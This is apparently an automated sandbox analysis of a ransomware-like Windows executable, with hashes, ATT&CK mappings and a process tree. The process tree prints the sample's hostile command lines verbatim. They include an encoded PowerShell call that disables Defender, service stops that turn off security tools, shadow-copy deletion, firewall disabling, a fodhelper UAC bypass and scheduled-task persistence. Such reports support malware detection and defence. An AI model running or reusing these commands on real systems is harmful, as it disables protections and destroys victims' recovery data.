26afd93c6fadf5ae23ec81acb711f6b6c89183ec9e80d3ab85bad86df235e020

Analysis

max time kernel
12s
max time network
161s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
04/05/2026, 07:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
creditstacks.com_hybers.exe
Size 49KB
Sample260504-jletkshx9q
SHA256 26afd93c6fadf5ae23ec81acb711f6b6c89183ec9e80d3ab85bad86df235e020
MD5 a6e41523bb9eff44e9208a4196d16ee4
SHA1 ddcc98ce5fd5c55fb72a888d78a39d3845a4887c
SHA512 601abd6a0c49e0d9d51703ccab28728574df9c557cde5ebcb1439822462afd2454c9db51833eca41847e63b3cd733fbd87aacbb0296e1271aaaecda49057ba5b
SSDEEP 768:FrVZZ6zs0hn8Rb1VHqy/NKPzfX/f4y4b:VZ6Hhu1kyGP/f4y4b
TLSH
T10133074837ED4522E1BF4ABE89F251119731F4539C23DB8E1AD8459E09F3B00CDA8B6B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution impact persistence ransomware

Malware Config

Signatures

Contains code to disable Windows Defender 3 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral2/memory/4980-0-0x00000000002C0000-0x00000000002D2000-memory.dmp	disable_win_def
behavioral2/memory/4980-1-0x000000001AE50000-0x000000001AE60000-memory.dmp	disable_win_def
behavioral2/files/0x001600000002b80f-2274.dat	disable_win_def

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1852	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	creditstacks.com_hybers.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4632	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 64 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	creditstacks.com_hybers.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	creditstacks.com_hybers.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	creditstacks.com_hybers.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
124	tasklist.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5000	sc.exe
2100	sc.exe
6116	sc.exe
3860	sc.exe
4332	sc.exe
572	sc.exe
3692	sc.exe
3404	sc.exe
5784	sc.exe
5476	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3872	ipconfig.exe
5104	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3880	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4264	vssadmin.exe
5236	vssadmin.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "171"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings	creditstacks.com_hybers.exe
Key created	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell	creditstacks.com_hybers.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell\open\command\DelegateExecute	creditstacks.com_hybers.exe
Key created	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell\open\command	creditstacks.com_hybers.exe
Key created	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell\open	creditstacks.com_hybers.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\creditstacks.com_hybers.exe"	creditstacks.com_hybers.exe
Key deleted	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell\open\command	creditstacks.com_hybers.exe
Key deleted	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell\open	creditstacks.com_hybers.exe
Key deleted	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings\shell	creditstacks.com_hybers.exe
Key deleted	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\ms-settings	creditstacks.com_hybers.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4572	schtasks.exe
3832	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1852	powershell.exe
1852	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5100	LogonUI.exe
Token: SeCreatePagefilePrivilege	5100	LogonUI.exe
Token: SeDebugPrivilege	4980	creditstacks.com_hybers.exe
Token: SeDebugPrivilege	1852	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4980	creditstacks.com_hybers.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5100	LogonUI.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4980 wrote to memory of 1852	4980	creditstacks.com_hybers.exe	80
PID 4980 wrote to memory of 4332	4980	creditstacks.com_hybers.exe	82
PID 4980 wrote to memory of 5000	4980	creditstacks.com_hybers.exe	84
PID 4980 wrote to memory of 572	4980	creditstacks.com_hybers.exe	86
PID 4980 wrote to memory of 2100	4980	creditstacks.com_hybers.exe	88
PID 4980 wrote to memory of 3692	4980	creditstacks.com_hybers.exe	90
PID 4980 wrote to memory of 3404	4980	creditstacks.com_hybers.exe	92
PID 4980 wrote to memory of 6116	4980	creditstacks.com_hybers.exe	94
PID 4980 wrote to memory of 5784	4980	creditstacks.com_hybers.exe	96
PID 4980 wrote to memory of 5308	4980	creditstacks.com_hybers.exe	98
PID 5308 wrote to memory of 1720	5308	fodhelper.exe	99

C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
"C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe"
1⤵
- Drops file in Drivers directory
- Drops startup file
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1852
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5000
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:572
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2100
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3692
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3404
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:6116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5784
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5308
- - C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
    "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe"
    3⤵
    PID:1720
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:584
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  PID:4948
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4264
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:4284
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  PID:2064
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:3880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  PID:2144
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:124
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  PID:2768
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:548
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  PID:4588
- - C:\Windows\system32\net.exe
    net user
    3⤵
    PID:1700
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5944
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  PID:3024
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3872
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  PID:4756
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5104
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3832
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:2804
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4288
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5236
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:1808
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:5388
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4688
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:4632
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3860
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5476

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3a1b055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5100

C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
1⤵
PID:3708

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:5196

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

invoice_1.pdf

Path C:\ProgramData\invoice_1.pdf
Size 66KB
SHA256 6736994ab1bdcd0634ebed9ecd1ea138ce5bb88b9c5c3aeb9cab60f81362b950
MD5 110cf79c3daea20cc8f3696cfa427f89
SHA1 fdd7a321aebd94a71fe2579996b20943dc557bfa
SHA512 016027893fa4d52d5f05195d1401cd65ce2902dccd3d80c6db9e2148696e682ac11b27d7836438b0d380801a2f18c4a30567f253d90a028a94d93bf695c1b99f
SSDEEP 1536:12Rveo0zwn1+7cRMa3EJtYHP2m/QpczBcVh2vcCsRSk94had8E1HLeb:1gvQzwnA81EUHX/cczBcVgUtld8E1Hy
TLSH
T1CC633B378A23FCC5677F3D40F15439960C883D278775A66CFF850A9938A5184EF2D998
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

doc_3.pdf

Path C:\SystemVolumeInformation\doc_3.pdf
Size 66KB
SHA256 b26cc81fc699acdf0459d488e35ae8ab6429cb1701d223a0d34452497ca1d74b
MD5 87776ba6be6a12f8ff30c4acc623c0e0
SHA1 37c41bb0550167dc1e516bc709810c78bf41e004
SHA512 9a53f55938445e2e3574ed1c97ffc82b16f140eaf61f841061dbb60f74538dd020c1dde030835120cd13d8a5c16f1033f665d853379b59c7396c9ef3019b555c
SSDEEP 1536:V2Rveo0zwn1+7cRMa3EJtYHP2m/QpczBcVh2vcCsRSk94had8E1HLeS:VgvQzwnA81EUHX/cczBcVgUtld8E1Hl
TLSH
T1AA632B378A23FDC5677F3D40F06429960C883D2B8775A66CFF850E9938A9184DF2D998
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

creditstacks.com_hybers.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\creditstacks.com_hybers.exe.log
Size 660B
SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
MD5 284393596fdd49bebd7b861bf339b82d
SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
TLSH
T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mlb4txl2.5ji.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mlb4txl2.5ji.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

createshortcut.vbs

Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
Size 248B
SHA256 a8e662a5c300af0e956d67e042283589dfd3b67521adef344ae8b1bc63fcb1c1
MD5 5089318831a9c57a59d84101ddcd8149
SHA1 2b2b9cc9f14fc79dff2f52071fa38a8dc66ae346
SHA512 d1cdfb06bd2941e8e86058c29a96fa89efb2a0cac44d0df22586b316ebbef504cf692af96f29bae1b3e934c5af6b6f6a60614730d1c0ac5b685e3e3218473965
TLSH
